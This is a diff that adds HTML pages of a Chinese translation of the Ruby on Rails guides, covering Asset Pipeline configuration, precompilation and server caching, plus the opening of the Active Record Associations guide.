预处理静态资源时要确保同时处理控制器相关的静态资源。默认情况下,不会自动编译 .coffee.scss 文件。在开发环境中没什么问题,因为会自动编译。但在生产环境中会得到 500 错误,因为此时自动编译默认是关闭的。关于预编译的工作机理,请阅读“事先编译好静态资源”一节。

要想使用 CoffeeScript,必须安装支持 ExecJS 的运行时。如果使用 Mac OS X 和 Windows,系统中已经安装了 JavaScript 运行时。所有支持的 JavaScript 运行时参见 ExecJS 的文档。

config/application.rb 文件中加入以下代码可以禁止生成控制器相关的静态资源:

+
+config.generators do |g|
+  g.assets false
+end
+
+
+
+

2.2 静态资源的组织方式

Asset Pipeline 的静态文件可以放在三个位置:app/assetslib/assetsvendor/assets

+
    +
  • +app/assets:存放程序的静态资源,例如图片、JavaScript 和样式表;
  • +
  • +lib/assets:存放自己的代码库,或者共用代码库的静态资源;
  • +
  • +vendor/assets:存放他人的静态资源,例如 JavaScript 插件,或者 CSS 框架;
  • +
+

如果从 Rails 3 升级过来,请注意,lib/assetsvendor/assets 中的静态资源可以引入程序,但不在预编译的范围内。详情参见“事先编译好静态资源”一节。

2.2.1 搜索路径

在清单文件或帮助方法中引用静态资源时,Sprockets 会在默认的三个位置中查找对应的文件。

默认的位置是 apps/assets 文件夹中的 imagesjavascriptsstylesheets 三个子文件夹。这三个文件夹没什么特别之处,其实 Sprockets 会搜索 apps/assets 文件夹中的所有子文件夹。

例如,如下的文件:

+
+app/assets/javascripts/home.js
+lib/assets/javascripts/moovinator.js
+vendor/assets/javascripts/slider.js
+vendor/assets/somepackage/phonebox.js
+
+
+
+

在清单文件中可以这么引用:

+
+//= require home
+//= require moovinator
+//= require slider
+//= require phonebox
+
+
+
+

子文件夹中的静态资源也可引用:

+
+app/assets/javascripts/sub/something.js
+
+
+
+

引用方式如下:

+
+//= require sub/something
+
+
+
+

在 Rails 控制台中执行 Rails.application.config.assets.paths,可以查看所有的搜索路径。

除了标准的 assets/* 路径之外,还可以在 config/application.rb 文件中向 Asset Pipeline 添加其他路径。例如:

+
+config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
+
+
+
+

Sprockets 会按照搜索路径中各路径出现的顺序进行搜索。默认情况下,这意味着 app/assets 文件夹中的静态资源优先级较高,会遮盖 libvendor 文件夹中的相应文件。

有一点要注意,如果静态资源不会在清单文件中引入,就要添加到预编译的文件列表中,否则在生产环境中就无法访问文件。

2.2.2 使用索引文件

在 Sprockets 中,名为 index 的文件(扩展名各异)有特殊作用。

例如,程序中使用了 jQuery 代码库和许多模块,都保存在 lib/assets/javascripts/library_name 文件夹中,那么 lib/assets/javascripts/library_name/index.js 文件的作用就是这个代码库的清单。在这个清单中可以按顺序列出所需的文件,或者干脆使用 require_tree 指令。

在程序的清单文件中,可以把这个库作为一个整体引入:

+
+//= require library_name
+
+
+
+

这么做可以减少维护成本,保持代码整洁。

2.3 链接静态资源

Sprockets 并没有为获取静态资源添加新的方法,还是使用熟悉的 javascript_include_tagstylesheet_link_tag

+
+<%= stylesheet_link_tag "application", media: "all" %>
+<%= javascript_include_tag "application" %>
+
+
+
+

如果使用 Turbolinks(Rails 4 默认启用),加上 data-turbolinks-track 选项后,Turbolinks 会检查静态资源是否有更新,如果更新了就会将其载入页面:

+
+<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %>
+<%= javascript_include_tag "application", "data-turbolinks-track" => true %>
+
+
+
+

在普通的视图中可以像下面这样获取 public/assets/images 文件夹中的图片:

+
+<%= image_tag "rails.png" %>
+
+
+
+

如果程序启用了 Asset Pipeline,且在当前环境中没有禁用,那么这个文件会经由 Sprockets 伺服。如果文件的存放位置是 public/assets/rails.png,则直接由网页服务器伺服。

如果请求的文件中包含 MD5 哈希,处理的方式还是一样。关于这个哈希是怎么生成的,请阅读“在生产环境中”一节。

Sprockets 还会检查 config.assets.paths 中指定的路径。config.assets.paths 包含标准路径和其他 Rails 引擎添加的路径。

图片还可以放入子文件夹中,获取时指定文件夹的名字即可:

+
+<%= image_tag "icons/rails.png" %>
+
+
+
+

如果预编译了静态资源(参见“在生产环境中”一节),链接不存在的资源(也包括链接到空字符串的情况)会在调用页面抛出异常。因此,在处理用户提交的数据时,使用 image_tag 等帮助方法要小心一点。

2.3.1 CSS 和 ERB

Asset Pipeline 会自动执行 ERB 代码,所以如果在 CSS 文件名后加上扩展名 erb(例如 application.css.erb),那么在 CSS 规则中就可使用 asset_path 等帮助方法。

+
+.class { background-image: url(http://github.com/<%=%20asset_path%20'image.png'%20%>) }
+
+
+
+

Asset Pipeline 会计算出静态资源的真实路径。在上面的代码中,指定的图片要出现在加载路径中。如果在 public/assets 中有该文件带指纹版本,则会使用这个文件的路径。

如果想使用 data URI(直接把图片数据内嵌在 CSS 文件中),可以使用 asset_data_uri 帮助方法。

+
+#logo { background: url(http://github.com/<%=%20asset_data_uri%20'logo.png'%20%>) }
+
+
+
+

asset_data_uri 会把正确格式化后的 data URI 写入 CSS 文件。

注意,关闭标签不能使用 -%> 形式。

2.3.2 CSS 和 Sass

使用 Asset Pipeline,静态资源的路径要使用 sass-rails 提供的 -url-path 帮助方法(在 Sass 中使用连字符,在 Ruby 中使用下划线)重写。这两种帮助方法可用于引用图片,字体,视频,音频,JavaScript 和样式表。

+
    +
  • +image-url("http://github.com/rails.png") 编译成 url(http://github.com/assets/rails.png) +
  • +
  • +image-path("rails.png") 编译成 "/assets/rails.png".
  • +
+

还可使用通用方法:

+
    +
  • +asset-url("http://github.com/rails.png") 编译成 url(http://github.com/assets/rails.png) +
  • +
  • +asset-path("rails.png") 编译成 "/assets/rails.png" +
  • +
+
2.3.3 JavaScript/CoffeeScript 和 ERB

如果在 JavaScript 文件后加上扩展名 erb,例如 application.js.erb,就可以在 JavaScript 代码中使用帮助方法 asset_path

+
+$('#logo').attr({ src: "<%= asset_path('logo.png') %>" });
+
+
+
+

Asset Pipeline 会计算出静态资源的真实路径。

类似地,如果在 CoffeeScript 文件后加上扩展名 erb,例如 application.js.coffee.erb,也可在代码中使用帮助方法 asset_path

+
+$('#logo').attr src: "<%= asset_path('logo.png') %>"
+
+
+
+

2.4 清单文件和指令

Sprockets 通过清单文件决定要引入和伺服哪些静态资源。清单文件中包含一些指令,告知 Sprockets 使用哪些文件生成主 CSS 或 JavaScript 文件。Sprockets 会解析这些指令,加载指定的文件,如有需要还会处理文件,然后再把各个文件合并成一个文件,最后再压缩文件(如果 Rails.application.config.assets.compress 选项为 true)。只伺服一个文件可以大大减少页面加载时间,因为浏览器发起的请求数更少。压缩能减小文件大小,加快浏览器下载速度。

例如,新建的 Rails 4 程序中有个 app/assets/javascripts/application.js 文件,包含以下内容:

+
+// ...
+//= require jquery
+//= require jquery_ujs
+//= require_tree .
+
+
+
+

在 JavaScript 文件中,Sprockets 的指令以 //= 开头。在上面的文件中,用到了 require 和 the require_tree 指令。require 指令告知 Sprockets 要加载的文件。在上面的文件中,加载了 Sprockets 搜索路径中的 jquery.jsjquery_ujs.js 两个文件。文件名后无需加上扩展名,在 .js 文件中 Sprockets 默认会加载 .js 文件。

require_tree 指令告知 Sprockets 递归引入指定文件夹中的所有 JavaScript 文件。文件夹的路径必须相对于清单文件。也可使用 require_directory 指令加载指定文件夹中的所有 JavaScript 文件,但不会递归。

Sprockets 会按照从上至下的顺序处理指令,但 require_tree 引入的文件顺序是不可预期的,不要设想能得到一个期望的顺序。如果要确保某些 JavaScript 文件出现在其他文件之前,就要先在清单文件中引入。注意,require 等指令不会多次加载同一个文件。

Rails 还会生成 app/assets/stylesheets/application.css 文件,内容如下:

+
+/* ...
+*= require_self
+*= require_tree .
+*/
+
+
+
+

不管创建新程序时有没有指定 --skip-sprockets 选项,Rails 4 都会生成 app/assets/javascripts/application.jsapp/assets/stylesheets/application.css。这样如果后续需要使用 Asset Pipelining,操作就方便了。

样式表中使用的指令和 JavaScript 文件一样,不过加载的是样式表而不是 JavaScript 文件。require_tree 指令在 CSS 清单文件中的作用和在 JavaScript 清单文件中一样,从指定的文件夹中递归加载所有样式表。

上面的代码中还用到了 require_self。这么做可以把当前文件中的 CSS 加入调用 require_self 的位置。如果多次调用 require_self,只有最后一次调用有效。

如果想使用多个 Sass 文件,应该使用 Sass 中的 @import 规则,不要使用 Sprockets 指令。如果使用 Sprockets 指令,Sass 文件只出现在各自的作用域中,Sass 变量和混入只在定义所在文件中有效。为了达到 require_tree 指令的效果,可以使用通配符,例如 @import "http://github.com/*"@import "http://github.com/**/*"。详情参见 sass-rails 的文档

清单文件可以有多个。例如,admin.cssadmin.js 这两个清单文件包含程序管理后台所需的 JS 和 CSS 文件。

CSS 清单中的指令也适用前面介绍的加载顺序。分别引入各文件,Sprockets 会按照顺序编译。例如,可以按照下面的方式合并三个 CSS 文件:

+
+/* ...
+*= require reset
+*= require layout
+*= require chrome
+*/
+
+
+
+

2.5 预处理

静态资源的文件扩展名决定了使用哪个预处理器处理。如果使用默认的 gem,生成控制器或脚手架时,会生成 CoffeeScript 和 SCSS 文件,而不是普通的 JavaScript 和 CSS 文件。前文举过例子,生成 projects 控制器时会创建 app/assets/javascripts/projects.js.coffeeapp/assets/stylesheets/projects.css.scss 两个文件。

在开发环境中,或者禁用 Asset Pipeline 时,这些文件会使用 coffee-scriptsass 提供的预处理器处理,然后再发给浏览器。启用 Asset Pipeline 时,这些文件会先使用预处理器处理,然后保存到 public/assets 文件夹中,再由 Rails 程序或网页服务器伺服。

添加额外的扩展名可以增加预处理次数,预处理程序会按照扩展名从右至左的顺序处理文件内容。所以,扩展名的顺序要和处理的顺序一致。例如,名为 app/assets/stylesheets/projects.css.scss.erb 的样式表首先会使用 ERB 处理,然后是 SCSS,最后才以 CSS 格式发送给浏览器。JavaScript 文件类似,app/assets/javascripts/projects.js.coffee.erb 文件先由 ERB 处理,然后是 CoffeeScript,最后以 JavaScript 格式发送给浏览器。

记住,预处理器的执行顺序很重要。例如,名为 app/assets/javascripts/projects.js.erb.coffee 的文件首先由 CoffeeScript 处理,但是 CoffeeScript 预处理器并不懂 ERB 代码,因此会导致错误。

3 开发环境

在开发环境中,Asset Pipeline 按照清单文件中指定的顺序伺服各静态资源。

清单 app/assets/javascripts/application.js 的内容如下:

+
+//= require core
+//= require projects
+//= require tickets
+
+
+
+

生成的 HTML 如下:

+
+<script src="http://github.com/assets/core.js?body=1"></script>
+<script src="http://github.com/assets/projects.js?body=1"></script>
+<script src="http://github.com/assets/tickets.js?body=1"></script>
+
+
+
+

Sprockets 要求必须使用 body 参数。

3.1 检查运行时错误

默认情况下,在生产环境中 Asset Pipeline 会检查潜在的错误。要想禁用这一功能,可以做如下设置:

+
+config.assets.raise_runtime_errors = false
+
+
+
+

raise_runtime_errors 设为 false 时,Sprockets 不会检查静态资源的依赖关系是否正确。遇到下面这种情况时,必须告知 Asset Pipeline 其中的依赖关系。

如果在 application.css.erb 中引用了 logo.png,如下所示:

+
+#logo { background: url(http://github.com/<%=%20asset_data_uri%20'logo.png'%20%>) }
+
+
+
+

就必须声明 logo.pngapplication.css.erb 的一个依赖件,这样重新编译图片时才会同时重新编译 CSS 文件。依赖关系可以使用 //= depend_on_asset 声明:

+
+//= depend_on_asset "logo.png"
+#logo { background: url(http://github.com/<%=%20asset_data_uri%20'logo.png'%20%>) }
+
+
+
+

如果没有这个声明,在生产环境中可能遇到难以查找的奇怪问题。raise_runtime_errors 设为 true 时,运行时会自动检查依赖关系。

3.2 关闭调试功能

config/environments/development.rb 中添加如下设置可以关闭调试功能:

+
+config.assets.debug = false
+
+
+
+

关闭调试功能后,Sprockets 会预处理所有文件,然后合并。关闭调试功能后,前文的清单文件生成的 HTML 如下:

+
+<script src="http://github.com/assets/application.js"></script>
+
+
+
+

服务器启动后,首次请求发出后会编译并缓存静态资源。Sprockets 会把 Cache-Control 报头设为 must-revalidate。再次请求时,浏览器会得到 304 (Not Modified) 响应。

如果清单中的文件内容发生了变化,服务器会返回重新编译后的文件。

调试功能可以在 Rails 帮助方法中启用:

+
+<%= stylesheet_link_tag "application", debug: true %>
+<%= javascript_include_tag "application", debug: true %>
+
+
+
+

如果已经启用了调试模式,再使用 :debug 选项就有点多余了。

在开发环境中也可启用压缩功能,检查是否能正常运行。需要调试时再禁用压缩即可。

4 生产环境

在生产环境中,Sprockets 使用前文介绍的指纹机制。默认情况下,Rails 认为静态资源已经事先编译好了,直接由网页服务器伺服。

在预先编译的过程中,会根据文件的内容生成 MD5,写入硬盘时把 MD5 加到文件名中。Rails 帮助方法会使用加上指纹的文件名代替清单文件中使用的文件名。

例如:

+
+<%= javascript_include_tag "application" %>
+<%= stylesheet_link_tag "application" %>
+
+
+
+

生成的 HTML 如下:

+
+<script src="http://github.com/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
+<link href="http://github.com/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen"
+rel="stylesheet" />
+
+
+
+

注意,推出 Asset Pipeline 功能后不再使用 :cache:concat 选项了,请从 javascript_include_tagstylesheet_link_tag 标签上将其删除。

指纹由 config.assets.digest 初始化选项控制(生产环境默认为 true,其他环境为 false)。

一般情况下,请勿修改 config.assets.digest 的默认值。如果文件名中没有指纹,而且缓存报头的时间设置为很久以后,那么即使文件的内容变了,客户端也不会重新获取文件。

4.1 事先编译好静态资源

Rails 提供了一个 rake 任务用来编译清单文件中的静态资源和其他相关文件。

编译后的静态资源保存在 config.assets.prefix 选项指定的位置。默认是 /assets 文件夹。

部署时可以在服务器上执行这个任务,直接在服务器上编译静态资源。下一节会介绍如何在本地编译。

这个 rake 任务是:

+
+$ RAILS_ENV=production bundle exec rake assets:precompile
+
+
+
+

Capistrano(v2.15.1 及以上版本)提供了一个配方,可在部署时编译静态资源。把下面这行加入 Capfile 文件即可:

+
+load 'deploy/assets'
+
+
+
+

这个配方会把 config.assets.prefix 选项指定的文件夹链接到 shared/assets。如果 shared/assets 已经占用,就要修改部署任务。

在多次部署之间共用这个文件夹是十分重要的,这样只要缓存的页面可用,其中引用的编译后的静态资源就能正常使用。

默认编译的文件包括 application.jsapplication.css 以及 gem 中 app/assets 文件夹中的所有非 JS/CSS 文件(会自动加载所有图片):

+
+[ Proc.new { |path, fn| fn =~ /app\/assets/ && !%w(.js .css).include?(File.extname(path)) },
+/application.(css|js)$/ ]
+
+
+
+

这个正则表达式表示最终要编译的文件。也就是说,JS/CSS 文件不包含在内。例如,因为 .coffee.scss 文件能编译成 JS 和 CSS 文件,所以不在自动编译的范围内。

如果想编译其他清单,或者单独的样式表和 JavaScript,可以添加到 config/application.rb 文件中的 precompile 选项:

+
+config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
+
+
+
+

或者可以按照下面的方式,设置编译所有静态资源:

+
+# config/application.rb
+config.assets.precompile << Proc.new do |path|
+  if path =~ /\.(css|js)\z/
+    full_path = Rails.application.assets.resolve(path).to_path
+    app_assets_path = Rails.root.join('app', 'assets').to_path
+    if full_path.starts_with? app_assets_path
+      puts "including asset: " + full_path
+      true
+    else
+      puts "excluding asset: " + full_path
+      false
+    end
+  else
+    false
+  end
+end
+
+
+
+

即便想添加 Sass 或 CoffeeScript 文件,也要把希望编译的文件名设为 .js 或 .css。

这个 rake 任务还会生成一个名为 manifest-md5hash.json 的文件,列出所有静态资源和对应的指纹。这样 Rails 帮助方法就不用再通过 Sprockets 获取指纹了。下面是一个 manifest-md5hash.json 文件内容示例:

+
+{"files":{"application-723d1be6cc741a3aabb1cec24276d681.js":{"logical_path":"application.js","mtime":"2013-07-26T22:55:03-07:00","size":302506,
+"digest":"723d1be6cc741a3aabb1cec24276d681"},"application-12b3c7dd74d2e9df37e7cbb1efa76a6d.css":{"logical_path":"application.css","mtime":"2013-07-26T22:54:54-07:00","size":1560,
+"digest":"12b3c7dd74d2e9df37e7cbb1efa76a6d"},"application-1c5752789588ac18d7e1a50b1f0fd4c2.css":{"logical_path":"application.css","mtime":"2013-07-26T22:56:17-07:00","size":1591,
+"digest":"1c5752789588ac18d7e1a50b1f0fd4c2"},"favicon-a9c641bf2b81f0476e876f7c5e375969.ico":{"logical_path":"favicon.ico","mtime":"2013-07-26T23:00:10-07:00","size":1406,
+"digest":"a9c641bf2b81f0476e876f7c5e375969"},"my_image-231a680f23887d9dd70710ea5efd3c62.png":{"logical_path":"my_image.png","mtime":"2013-07-26T23:00:27-07:00","size":6646,
+"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets"{"application.js":
+"application-723d1be6cc741a3aabb1cec24276d681.js","application.css":
+"application-1c5752789588ac18d7e1a50b1f0fd4c2.css",
+"favicon.ico":"favicona9c641bf2b81f0476e876f7c5e375969.ico","my_image.png":
+"my_image-231a680f23887d9dd70710ea5efd3c62.png"}}
+
+
+
+

manifest-md5hash.json 文件的存放位置是 config.assets.prefix 选项指定位置(默认为 /assets)的根目录。

在生产环境中,如果找不到编译好的文件,会抛出 Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError 异常,并提示找不到哪个文件。

4.1.1 把 Expires 报头设置为很久以后

编译好的静态资源存放在服务器的文件系统中,直接由网页服务器伺服。默认情况下,没有为这些文件设置一个很长的过期时间。为了能充分发挥指纹的作用,需要修改服务器的设置,添加相关的报头。

针对 Apache 的设置:

+
+# The Expires* directives requires the Apache module
+# `mod_expires` to be enabled.
+<Location /assets/>
+  # Use of ETag is discouraged when Last-Modified is present
+  Header unset ETag FileETag None
+  # RFC says only cache for 1 year
+  ExpiresActive On ExpiresDefault "access plus 1 year"
+</Location>
+
+
+
+

针对 Nginx 的设置:

+
+location ~ ^/assets/ {
+  expires 1y;
+  add_header Cache-Control public;
+
+  add_header ETag "";
+  break;
+}
+
+
+
+
4.1.2 GZip 压缩

Sprockets 预编译文件时还会创建静态资源的 gzip 版本(.gz)。网页服务器一般使用中等压缩比例,不过因为预编译只发生一次,所以 Sprockets 会使用最大的压缩比例,尽量减少传输的数据大小。网页服务器可以设置成直接从硬盘伺服压缩版文件,无需直接压缩文件本身。

在 Nginx 中启动 gzip_static 模块后就能自动实现这一功能:

+
+location ~ ^/(assets)/  {
+  root /path/to/public;
+  gzip_static on; # to serve pre-gzipped version
+  expires max;
+  add_header Cache-Control public;
+}
+
+
+
+

如果编译 Nginx 时加入了 gzip_static 模块,就能使用这个指令。Nginx 针对 Ubuntu/Debian 的安装包,以及 nginx-light 都会编译这个模块。否则就要手动编译:

+
+./configure --with-http_gzip_static_module
+
+
+
+

如果编译支持 Phusion Passenger 的 Nginx,就必须加入这个命令行选项。

针对 Apache 的设置很复杂,请自行 Google。

4.2 在本地预编译

为什么要在本地预编译静态文件呢?原因如下:

+
    +
  • 可能无权限访问生产环境服务器的文件系统;
  • +
  • 可能要部署到多个服务器,避免重复编译;
  • +
  • 可能会经常部署,但静态资源很少改动;
  • +
+

在本地预编译后,可以把编译好的文件纳入版本控制系统,再按照常规的方式部署。

不过有两点要注意:

+
    +
  • 一定不能运行 Capistrano 部署任务来预编译静态资源;
  • +
  • 必须修改下面这个设置;
  • +
+

config/environments/development.rb 中加入下面这行代码:

+
+config.assets.prefix = "/dev-assets"
+
+
+
+

修改 prefix 后,在开发环境中 Sprockets 会使用其他的 URL 伺服静态资源,把请求都交给 Sprockets 处理。但在生产环境中 prefix 仍是 /assets。如果没作上述修改,在生产环境中会从 /assets 伺服静态资源,除非再次编译,否则看不到文件的变化。

同时还要确保所需的压缩程序在生产环境中可用。

在本地预编译静态资源,这些文件就会出现在工作目录中,而且可以根据需要纳入版本控制系统。开发环境仍能按照预期正常运行。

4.3 实时编译

某些情况下可能需要实时编译,此时静态资源直接由 Sprockets 处理。

要想使用实时编译,要做如下设置:

+
+config.assets.compile = true
+
+
+
+

初次请求时,Asset Pipeline 会编译静态资源,并缓存,这一过程前文已经提过了。引用文件时,会使用加上 MD5 哈希的文件名代替清单文件中的名字。

Sprockets 还会把 Cache-Control 报头设为 max-age=31536000。这个报头的意思是,服务器和客户端浏览器之间的缓存可以存储一年,以减少从服务器上获取静态资源的请求数量。静态资源的内容可能存在本地浏览器的缓存或者其他中间缓存中。

实时编译消耗的内存更多,比默认的编译方式性能更低,因此不推荐使用。

如果要把程序部署到没有安装 JavaScript 运行时的服务器,可以在 Gemfile 中加入:

+
+group :production do
+  gem 'therubyracer'
+end
+
+
+
+

4.4 CDN

如果用 CDN 分发静态资源,要确保文件不会被缓存,因为缓存会导致问题。如果设置了 config.action_controller.perform_caching = trueRack::Cache 会使用 Rails.cache 存储静态文件,很快缓存空间就会用完。

每种缓存的工作方式都不一样,所以要了解你所用 CDN 是如何处理缓存的,确保能和 Asset Pipeline 和谐相处。有时你会发现某些设置能导致诡异的表现,而有时又不会。例如,作为 HTTP 缓存使用时,Nginx 的默认设置就不会出现什么问题。

5 定制 Asset Pipeline

5.1 压缩 CSS

压缩 CSS 的方式之一是使用 YUI。YUI CSS compressor 提供了压缩功能。

下面这行设置会启用 YUI 压缩,在此之前要先安装 yui-compressor gem:

+
+config.assets.css_compressor = :yui
+
+
+
+

如果安装了 sass-rails gem,还可以使用其他的方式压缩 CSS:

+
+config.assets.css_compressor = :sass
+
+
+
+

5.2 压缩 JavaScript

压缩 JavaScript 的方式有::closure:uglifier:yui。这三种方式分别需要安装 closure-compileruglifieryui-compressor

默认的 Gemfile 中使用的是 uglifier。这个 gem 使用 Ruby 包装了 UglifyJS(为 NodeJS 开发)。uglifier 可以删除空白和注释,缩短本地变量名,还会做些微小的优化,例如把 if...else 语句改写成三元操作符形式。

下面这行设置使用 uglifier 压缩 JavaScript:

+
+config.assets.js_compressor = :uglifier
+
+
+
+

系统中要安装支持 ExecJS 的运行时才能使用 uglifier。Mac OS X 和 Windows 系统中已经安装了 JavaScript 运行时。 +I> +NOTE: config.assets.compress 初始化选项在 Rails 4 中不可用,即便设置了也没有效果。请分别使用 config.assets.css_compressorconfig.assets.js_compressor 这两个选项设置 CSS 和 JavaScript 的压缩方式。

5.3 使用自己的压缩程序

设置压缩 CSS 和 JavaScript 所用压缩程序的选项还可接受对象,这个对象必须能响应 compress 方法。compress 方法只接受一个字符串参数,返回值也必须是字符串。

+
+class Transformer
+  def compress(string)
+    do_something_returning_a_string(string)
+  end
+end
+
+
+
+

要想使用这个压缩程序,请在 application.rb 中做如下设置:

+
+config.assets.css_compressor = Transformer.new
+
+
+
+

5.4 修改 assets 的路径

Sprockets 默认使用的公开路径是 /assets

这个路径可以修改成其他值:

+
+config.assets.prefix = "/some_other_path"
+
+
+
+

升级没使用 Asset Pipeline 的旧项目时,或者默认路径已有其他用途,或者希望指定一个新资源路径时,可以设置这个选项。

5.5 X-Sendfile 报头

X-Sendfile 报头的作用是让服务器忽略程序的响应,直接从硬盘上伺服指定的文件。默认情况下服务器不会发送这个报头,但在支持该报头的服务器上可以启用。启用后,会跳过响应直接由服务器伺服文件,速度更快。X-Sendfile 报头的用法参见 API 文档

Apache 和 Nginx 都支持这个报头,可以在 config/environments/production.rb 中启用:

+
+# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
+# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+
+
+
+

如果升级现有程序,请把这两个设置写入 production.rb,以及其他类似生产环境的设置文件中。不能写入 application.rb

详情参见生产环境所用服务器的文档: +T> +TIP: - Apache +TIP: - Nginx

6 静态资源缓存的存储方式

在开发环境和生产环境中,Sprockets 使用 Rails 默认的存储方式缓存静态资源。可以使用 config.assets.cache_store 设置使用其他存储方式:

+
+config.assets.cache_store = :memory_store
+
+
+
+

静态资源缓存可用的存储方式和程序的缓存存储一样。

+
+config.assets.cache_store = :memory_store, { size: 32.megabytes }
+
+
+
+

7 在 gem 中使用静态资源

静态资源也可由 gem 提供。

为 Rails 提供标准 JavaScript 代码库的 jquery-rails gem 是个很好的例子。这个 gem 中有个引擎类,继承自 Rails::Engine。添加这层继承关系后,Rails 就知道这个 gem 中可能包含静态资源文件,会把这个引擎中的 app/assetslib/assetsvendor/assets 三个文件夹加入 Sprockets 的搜索路径中。

8 把代码库或者 gem 变成预处理器

Sprockets 使用 Tilt 作为不同模板引擎的通用接口。在你自己的 gem 中也可实现 Tilt 的模板协议。一般情况下,需要继承 Tilt::Template 类,然后重新定义 prepare 方法(初始化模板),以及 evaluate 方法(返回处理后的内容)。原始数据存储在 data 中。详情参见 Tilt::Template 类的源码。

+
+module BangBang
+  class Template < ::Tilt::Template
+    def prepare
+      # Do any initialization here
+    end
+
+    # Adds a "!" to original template.
+    def evaluate(scope, locals, &block)
+      "#{data}!"
+    end
+  end
+end
+
+
+
+

上述代码定义了 Template 类,然后还需要关联模板文件的扩展名:

+
+Sprockets.register_engine '.bang', BangBang::Template
+
+
+
+

9 升级旧版本 Rails

从 Rails 3.0 或 Rails 2.x 升级,有一些问题要解决。首先,要把 public/ 文件夹中的文件移到新位置。不同类型文件的存放位置参见“静态资源的组织方式”一节。

其次,避免 JavaScript 文件重复出现。因为从 Rails 3.1 开始,jQuery 是默认的 JavaScript 库,因此不用把 jquery.js 复制到 app/assets 文件夹中。Rails 会自动加载 jQuery。

然后,更新各环境的设置文件,添加默认设置。

application.rb 中加入:

+
+# Version of your assets, change this if you want to expire all your assets
+config.assets.version = '1.0'
+
+# Change the path that assets are served from config.assets.prefix = "/assets"
+
+
+
+

development.rb 中加入:

+
+# Expands the lines which load the assets
+config.assets.debug = true
+
+
+
+

production.rb 中加入:

+
+# Choose the compressors to use (if any) config.assets.js_compressor  =
+# :uglifier config.assets.css_compressor = :yui
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs. This is planned for deprecation.
+config.assets.digest = true
+
+# Precompile additional assets (application.js, application.css, and all
+# non-JS/CSS are already added) config.assets.precompile += %w( search.js )
+
+
+
+

Rails 4 不会在 test.rb 中添加 Sprockets 的默认设置,所以要手动添加。测试环境中以前的默认设置是:config.assets.compile = trueconfig.assets.compress = falseconfig.assets.debug = falseconfig.assets.digest = false

最后,还要在 Gemfile 中加入以下 gem:

+
+gem 'sass-rails',   "~> 3.2.3"
+gem 'coffee-rails', "~> 3.2.1"
+gem 'uglifier'
+
+
+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/association_basics.html b/v4.1/association_basics.html new file mode 100644 index 0000000..ac90ddc --- /dev/null +++ b/v4.1/association_basics.html @@ -0,0 +1,2047 @@ + + + + + + + +Active Record 关联 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Active Record 关联

本文介绍 Active Record 中的关联功能。

读完本文,你将学到:

+
    +
  • 如何声明 Active Record 模型间的关联;
  • +
  • 怎么理解不同的 Active Record 关联类型;
  • +
  • 如何使用关联添加的方法;
  • +
+ + + + +
+
+ +
+
+
+

1 为什么要使用关联

模型之间为什么要有关联?因为关联让常规操作更简单。例如,在一个简单的 Rails 程序中,有一个顾客模型和一个订单模型。每个顾客可以下多个订单。没用关联的模型定义如下:

+
+class Customer < ActiveRecord::Base
+end
+
+class Order < ActiveRecord::Base
+end
+
+
+
+

假如我们要为一个顾客添加一个订单,得这么做:

+
+@order = Order.create(order_date: Time.now, customer_id: @customer.id)
+
+
+
+

或者说要删除一个顾客,确保他的所有订单都会被删除,得这么做:

+
+@orders = Order.where(customer_id: @customer.id)
+@orders.each do |order|
+  order.destroy
+end
+@customer.destroy
+
+
+
+

使用 Active Record 关联,告诉 Rails 这两个模型是有一定联系的,就可以把这些操作连在一起。下面使用关联重新定义顾客和订单模型:

+
+class Customer < ActiveRecord::Base
+  has_many :orders, dependent: :destroy
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+
+
+
+

这么修改之后,为某个顾客添加新订单就变得简单了:

+
+@order = @customer.orders.create(order_date: Time.now)
+
+
+
+

删除顾客及其所有订单更容易:

+
+@customer.destroy
+
+
+
+

学习更多关联类型,请阅读下一节。下一节介绍了一些使用关联时的小技巧,然后列出了关联添加的所有方法和选项。

2 关联的类型

在 Rails 中,关联是两个 Active Record 模型之间的关系。关联使用宏的方式实现,用声明的形式为模型添加功能。例如,声明一个模型属于(belongs_to)另一个模型后,Rails 会维护两个模型之间的“主键-外键”关系,而且还向模型中添加了很多实用的方法。Rails 支持六种关联:

+
    +
  • belongs_to
  • +
  • has_one
  • +
  • has_many
  • +
  • has_many :through
  • +
  • has_one :through
  • +
  • has_and_belongs_to_many
  • +
+

在后面的几节中,你会学到如何声明并使用这些关联。首先来看一下各种关联适用的场景。

2.1 belongs_to 关联

belongs_to 关联创建两个模型之间一对一的关系,声明所在的模型实例属于另一个模型的实例。例如,如果程序中有顾客和订单两个模型,每个订单只能指定给一个顾客,就要这么声明订单模型:

+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+
+
+
+

belongs_to 关联

belongs_to 关联声明中必须使用单数形式。如果在上面的代码中使用复数形式,程序会报错,提示未初始化常量 Order::Customers。因为 Rails 自动使用关联中的名字引用类名。如果关联中的名字错误的使用复数,引用的类也就变成了复数。

相应的迁移如下:

+
+class CreateOrders < ActiveRecord::Migration
+  def change
+    create_table :customers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :orders do |t|
